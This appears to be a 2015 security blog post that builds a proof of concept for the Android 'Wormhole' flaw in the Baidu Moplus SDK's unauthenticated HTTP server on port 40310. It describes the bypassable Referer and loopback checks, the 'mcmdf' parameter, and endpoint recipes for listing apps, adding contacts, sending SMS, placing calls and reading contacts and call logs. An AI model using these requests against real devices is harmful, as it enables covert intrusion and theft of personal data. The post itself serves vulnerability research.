Monday, November 9, 2015

PoC to exploit Android Wormhole Vulnerability

A few days ago TrendMicro made public a post in which they adviced that 100 million Android devices might be affected by a serious vulnerability. In their words:

"This is a critical issue, perhaps even worse than Stagefright vulnerability that requires phishing links to web pages or user phone number, which are then used to send malicious MMS. With this security issue, attackers just simply scan the network IP and require no action from the user’s end or any social engineering attacks"

The original vulnerability was discovered by WooYun.og, a vulnerability reporting platform in China. 

But, how easy is to exploit that vulnerability? It is time to get my hands dirty :)

I did not find any PoC documented so I am going to try to understand how this work. Looking at the information from TrendMicro, the documentation of the affected component nanohttpd and the source code of one of the affected applications (9897a23f168630fe99e596d60abb5e2a) I am going to try to exploit.

The key points are:

  • I know the application they are using  (com.baidu.BaiduMap, 8.7.0)
  • It runs an HTTP server in some port (TCP/40310)
  • I know the 'malicious' functionalities 
  • There is no authentication (this is setup by the Moplus SDK)


Checking the HTTP server

The app runs a light HTTP server: nanohttpd. Once installed the app I can see straight forward that the port is open:

$ nmap -sV -P0 -p 40310 172.16.42.154

Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 08:32 CET
Nmap scan report for 172.16.42.154
Host is up (0.14s latency).
PORT      STATE SERVICE    VERSION
40310/tcp open  tcpwrapped


But if I try to send any HTTP command, I only get an empty directory response.
If I look to the nanohttp documentation I can get an idea how it works.
The HTTP server accepts POST commands as well.

Analysing the source code

The first thing to check is the source code of the application. I am going to focus on the classes which are potentially dangerous following the information from TrendMicro.

The dangerous functions are the following ones:

public class e
{
  private static final Map a = new HashMap();
  private static final String b = SendIntent.class.getPackage().getName() + ".";
  private Context c;

  static
  {
    a.put("geolocation", b + "GetLocLiteString");
    a.put("getsearchboxinfo", b + "GetSearchboxInfo");
    a.put("getapn", b + "GetApn");
    a.put("getserviceinfo", b + "GetServiceInfo");
    a.put("getpackageinfo", b + "GetPackageInfo");
    a.put("sendintent", b + "SendIntent");
    a.put("getcuid", b + "GetCuid");
    a.put("getlocstring", b + "GetLocString");
    a.put("scandownloadfile", b + "ScanDownloadFile");
    a.put("addcontactinfo", b + "AddContactInfo");
    a.put("getapplist", b + "GetAppList");
    a.put("downloadfile", b + "DownloadFile");
    a.put("uploadfile", b + "UploadFile");
  }

  public e(Context paramContext)
  {
    this.c = paramContext;
  }



With Androguard, I can easily see the code of each of them and how each of them works:






Checking the authentication

Looking at the code I can see how the authentication work. In some case it uses a Refered header matching a regex. 

private boolean a(com.baidu.android.a.a.a parama, com.baidu.android.a.a.b paramb)
  {
    parama = parama.a("Referer");
    if (TextUtils.isEmpty(parama));
    while (!Pattern.compile("^http[s]?:\\/\\/[^\\/]+(\\.baidu\\.com|\\.hao123\\.com)(:\\d+)?(\\/.*|)$").matcher(parama).matches())
      return false;
    return true;

  }

In some other cases it is just a 'remote-addr' header with the value 127.0.0.1

public g(a parama, r paramr, InputStream paramInputStream, OutputStream paramOutputStream, InetAddress paramInetAddress)
  {
    this.b = paramr;
    this.d = paramInputStream;
    this.c = paramOutputStream;
    if ((paramInetAddress.isLoopbackAddress()) || (paramInetAddress.isAnyLocalAddress()));
    for (parama = "127.0.0.1"; ; parama = paramInetAddress.getHostAddress().toString())
    {
      this.j = new HashMap();
      this.j.put("remote-addr", parama);
      this.j.put("http-client-ip", parama);
      return;
    }
  }



Also, worth to mention that there is also a reference to the code to a parameter 'mcmdf'. This parameter, which needs to be sent in the POST request,  have the value 'inap_xxxx' where XXX is the ID of the application in the Android device. In mi case it is 115, so my final value is 'inap_115'

com.baidu.hello.patch.moplus.nebula.b.b v0_13 = ((String) p12.get("mcmdf"));
            if ((android.text.TextUtils.isEmpty(v0_13)) || ((android.text.TextUtils.equals(v0_13, "null")) || (!v0_13.startsWith("inapp_")))) {
                v0_2 = v3_0;
            } else {

  

Exploiting the app

I am going to try to exploit some of the functionalities as PoC. Looking at the source code, some of them needs additional parameters but other ones no.

To exploit successfully, and as explained previously it is necessary to:
  • Setup the Header for authentication
  • Setup in the body the 'mcmdf' and 'callback' parameter. This will be the same for all the cases.
  • Setup some specific parameters for each kind of function to exploit

PoC 1: checking the apps running


  • URL: http://ip:port/getapplist (eg: http://172.16.42.154:40310/getapplist)
  • Additional parameters: 
  • Result: the full list of apps installed in the phone




PoC 2: Information about the app running the nanohttpd

  • URL: http://ip:port/getserviceinfo (eg: http://172.16.42.154:40310/getserviceinfo)
  • Additional parameters: -
  • Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)


PoC 2: Information about a specific app installed

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/getpackageinfo (eg: http://172.16.42.154:40310/getpackageinfo)
  • Additional parameters
    • packagename: name of the package (org.mozilla.firefox)
  • Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)



PoC 3: Add a contact 

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/addcontactinfo (eg: http://172.16.42.154:40310/addcontactinfo)
  • Additional parameters
    • postada: string with the values to add (eg: [{"name": "Test Blog ","starred":"1"}])
  • Result: add a new entry in the contact list


PoC 4: Run an intent to write a SMS

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: sms:12345)
  • Result: send a SMS to number 12345

PoC 4: Run an intent to make a call

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: tel:123)
  • Result: make a call to phone 123




PoC 4: Run an intent to list the contact

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: content://contacts/people/)
  • Result: list the contacts


PoC 5: Run of additional intents

Another examples of intents I tried are, but the are many others :)


  • "content://call_log/calls" : list the phone calls
  • "geo:0,0?z=4&q=restaurantes" : search for some Geo localisation



PoC 7: Get the Geo position

  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters: -
  • Result: get the information about the Geolocation


Conclusion

There are other functions with can be exploited, like pulling and pushing files.

As you can see it is quite easy to exploit this vulnerability. You always will need to know the IP of the victim and the app number as requirement. However, this can be automatically exploited through a script. 

Any device connected to a WiFi sharing the same broadcast domain can be a potential a victim. When connecting to Internet through 3G/4G most of providers (at least 4 providers I tried) do not assign a public IP so from Internet the nanohttpd server is not reachable. However, likely any other mobile device assigned within the same 3G/4G IP network private range could reach the nanohttpd server, but I have not tried it myself.